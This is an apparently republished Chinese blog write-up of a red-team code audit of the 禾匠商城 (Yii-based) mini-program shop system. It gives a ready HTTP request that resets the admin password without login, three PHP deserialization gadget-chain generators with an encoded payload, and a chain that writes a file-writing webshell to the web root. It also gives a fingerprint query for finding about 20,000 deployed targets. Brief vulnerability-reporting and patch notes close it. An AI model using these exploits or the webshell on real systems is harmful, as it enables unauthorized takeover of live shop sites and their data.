close


0x01 前言




在某年某月的一次攻防演練中,比賽難度較大,所有隊伍都繞開了正面突破開始釣魚和社工,場面像極了電信詐騙的現場。作為一名有傳統情懷的WEB狗,還是希望能通過WEB站點尋找突破口。在對目標進行信息搜集的過程中,找到了目標某個子域名開通了微信小程序商城系統,通過找指紋對比,分析出目標使用的系統是「禾匠商城」,由此展開了對這套系統的代碼審計之路,文中所提到的漏洞均已提交給CNVD。

「禾匠商城」是國內使用量較大的小程序建站系統,從指紋搜索結果來看(body="const _scriptUrl"),目標數量在2W左右,用戶基數還是比較大的。



0x02 代碼審計




為了儘可能的復現當時的真實情況,我儘量模擬與當時目標一樣的環境(PHP7,disable_functions,WAF等)。只在測試站點進行演示,一般搭建完成之後的禾匠商城界面如下所示。
能直接看到的頁面就只是一個登陸口,很多操作都需要登陸才能操作。禾匠是採用YII框架進行二次開發的,整體代碼還是比較簡潔易懂的。因為採用了YII框架,如果作者不自己作死,還是很難出現SQL注入之類的漏洞。

第一個找到的是一個邏輯漏洞,未登陸情況下可以直接越權重置管理員的密碼。定位到漏洞文件controllers/admin/PassportController.php,這裡提供的功能是管理員忘記密碼的功能。
繼續看這個功能的訪問權限,可以看出edit-password竟然和login一樣,不需要登錄就可以訪問,那麼我們就可以在未授權的情況下修改管理員admin的密碼。
越權修改管理員密碼的poc如下::
POST /web/index.php?r=admin%2Fpassport%2Fedit-password HTTP/1.1Host: www.xxx.comCookie: (刷新登陸頁獲取會話Cookie)form%5Bcaptcha%5D=lxcq&form%5Bchecked%5D=false&form%5Busername%5D=admin&form%5Bpass%5D=admin8881&form%5BcheckPass%5D=admin8881&form%5Bmobile%5D=13800000001&user_type=1&mall_id=&_csrf=Sb4pjMU6cTcrKLfqjwJWdhm-d5Zt7J1BWiFUZtiLoDRx9mHJlnAFel9N06G_VhgbL89C_C66-gY2agFTiurvYA%3D%3D

其中form%5Bcaptcha%5D這個是驗證碼,可以隨便填,但必須有。
_csrf是用於檢驗CSRF的隨機數,登陸口抓登陸的數據包就可以獲取到。
form%5Bpass%5D和form%5BcheckPass%5D代表新密碼。
form%5Busername%5D必須是一個存在的用戶名,默認admin是存在的管理員用戶。
重置之後,就可以登錄用admin/admin8881登錄後台了。
登陸後台最想做的事情肯定是找上傳拿權限。然而現實情況是失望的,由於禾匠採用了YII框架,代碼中使用的上傳也是用的YII自帶的上傳類,並限制了允許上傳文件的後綴,如下圖所示。
這種白名單的後綴限制是沒有辦法繞過的,只能找其他getshell的方式。命令執行是沒有找到的,但是找到了一個反序列化的漏洞,雖然YII框架本身不存在反序列化漏洞,但是卻提供了可供反序列化漏洞的利用鏈。
定位到漏洞文件
controllers/api/testOrderSubmit/IndexController.php
繼續跟蹤decode方法,這是YII處理序列化數據的典型辦法,可以看到如果json_decode失敗會調用原生的unserialize來進行反序列化,這就會造成反序列化漏洞了。
下面就是需要構造反序列化利用鏈了,網上有很多關於YII反序列化利用鏈的文章,我最終選擇的是以這篇文章為基礎
https://www.anquanke.com/post/id/254429。大佬給我們總結了很多條YII反序列化的利用鏈,但是實際上能用的不多,可能是版本不一致吧,很多條利用鏈裡面的類在禾匠這邊找不到。
首先找到的第一條利用鏈是可以執行任意無參方法的利用鏈,可以用這條利用鏈來執行phpinfo函數。
<?phpnamespace GuzzleHttp\Psr7 { class FnStream { var $_fn_close = "phpinfo"; }}namespace yii\db { use GuzzleHttp\Psr7\FnStream; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader = new FnStream(); } }}namespace { use yii\db\BatchQueryResult; echo urlencode(serialize(new BatchQueryResult()));}
生成的payload替換下面的form_data參數即可。
POST /web/index.php?r=api/testOrderSubmit/index/preview&_mall_id=1 HTTP/1.1Host: www.xxx.comContent-Type: application/x-www-form-urlencodedContent-Length: 233form_data=O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A1%3A%7Bs%3A9%3A%22_fn_close%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D
正常的執行了phpinfo的代碼,並且目標站點啟用了disable_functions,禁止了一般命令執行的函數。注意,如果這裡遇到提示商城id不存在或者已過期這種,就需要修改_mall_id參數,這個參數很容易猜到,基本都是1,2,3中的某個。

第二條找到可以利用的反序列化利用鏈是下面的利用鏈,這也是前面文章中給出來的利用鏈。
<?phpnamespace yii\rest { class IndexAction { public $checkAccess; public $id; public function __construct() { $this->checkAccess="system"; $this->id="calc.exe"; } }}namespace yii\web { use yii\rest\IndexAction; class DbSession { protected $fields = []; public $writeCallback; public function __construct() { $this->writeCallback=[(new IndexAction),"run"]; $this->fields['1'] = 'aaa'; } }}namespace yii\db { use yii\web\DbSession; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader = new DbSession(); } }}namespace { use yii\db\BatchQueryResult; echo urlencode(serialize(new BatchQueryResult()));}?>
本來在測試環境是沒有問題的,但是在目標環境中卻發現執行的時候因為disable_functions的原因導致system函數執行不成功。雖然從phpinfo看到的信息中可以看出,disable_functions禁用的不嚴格,是可以繞過的,但是繞過方式均需要多個可控的參數。

雖然我們現在不能執行命令執行的函數,但是這條鏈還是給我們提供了一個執行任意只有一個參數的函數的方法。我們的目標是寫一個webshell的文件,第一個思路是通過執行單參數方法來寫文件,我們想到的方法如下:

1) 通過assert來執行php代碼。但是在php7的環境中assert不再是函數,而是關鍵字。是不能通過call_user_func來回調執行的,所以這條路失敗了。

2) 通過文件包含include或者require來包含本地文件執行php代碼。但是實際測試的結果來看,include和require也不是函數,只是關鍵字。

3) 通過file_put_contents或者fwrite來寫文件,但是這兩個函數都需要傳遞至少兩個參數。

這條路遇到了困難,雖然現在我們能執行任意單參數方法,但是還是不能執行系統命令或者寫文件。第二個思路擴展反序列化利用鏈,從執行任意單參數方法變成執行任意兩個參數方法。
在實戰環境下現做代碼審計還是有時間壓力的,在不停翻看代碼後,最終還是找到了一條Alipay\AlipayRequester類的execute方法來擴展利用鏈,如下圖所示。
可以看出execute方法直接調用了call_user_func方法,第二個參數$params可控,第一個參數$this->getUrl()也可控,只是會有一些特殊字符(所以這條利用鏈只適用於linux環境,如果是windows環境會因為特殊字符的存在而導致生成文件不成功)。完整的利用鏈如下:
<?phpnamespace Alipay { class AlipayRequester { public $callback = "file_put_contents"; public $gateway = "xxxx"; public $charset = "334.php"; }}namespace yii\rest { use Alipay\AlipayRequester; class IndexAction { public $checkAccess; public $id; public function __construct() { $this->checkAccess=[(new AlipayRequester),"execute"]; $this->id='<?php $a="fwrite";$h = fopen($_REQUEST[f], "a");$a($h, htmlspecialchars_decode(htmlspecialchars_decode($_REQUEST[c])));'; } }}namespace yii\web { use yii\rest\IndexAction; class DbSession { protected $fields = []; public $writeCallback; public function __construct() { $this->writeCallback=[(new IndexAction),"run"]; $this->fields['1'] = 'aaa'; } }}namespace yii\db { use yii\web\DbSession; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader = new DbSession(); } }}namespace { use yii\db\BatchQueryResult; echo urlencode(serialize(new BatchQueryResult()));}?>
使用上面的payload之後,會在目標根目錄生成一個文件名是「xxxx?charset=333.php」的文件,內容是$this->id裡面的值。

如果是windows的環境,還有另一條利用鏈,留給喜歡閱讀動手的小夥伴自己研究了。



0x03 結論




拿到這套系統的源碼,粗略一看覺得採用了知名框架很安全,但是實際上還是有不少的問題的,本人只是提出了一個越權的的漏洞和一個反序列化的漏洞。作者相信,這套系統還有其他的漏洞,但是因為已經拿到了想要的權限,就沒有繼續深入了。如果遇到反序列化不成功,大概是yii的版本不匹配導致的。

最後,悄悄的告訴你,不需要修改管理員密碼也可以反序列化,反序列化是未授權的,這兩個是完全獨立的漏洞。



0x04 修復建議




未授權訪問和反序列化漏洞均已報送給CNVD 平台
臨時修復建議:
注釋掉controllers/admin/PasswordController.php里的actionEditPassword函數和controllers/api/testOrderSubmit/IndexController.php里的actionPreview函數

加個好友

歡迎在看丨留言丨分享至朋友圈三連


好文推薦

2022HW必備|最全應急響應思維導圖

乾貨|後滲透及內網初體驗的總結

發現內網存活主機的各種姿勢

實戰|某次攻防演練中的分析溯源

實戰|後台getshell+提權一把梭

紅隊快速打點工具

實戰|記一次艱難的外網打點

實戰|記一次文件上傳繞過

常見漏洞安全攻防知識庫

紅隊信息搜集工具(附下載地址)

實戰—某醫院管理系統Getshell

CobaltStrike上線Linux

收錄於合集#滲透實戰

47

下一篇實戰 | 滲透測試從 RCE 到 SSH 登錄


arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()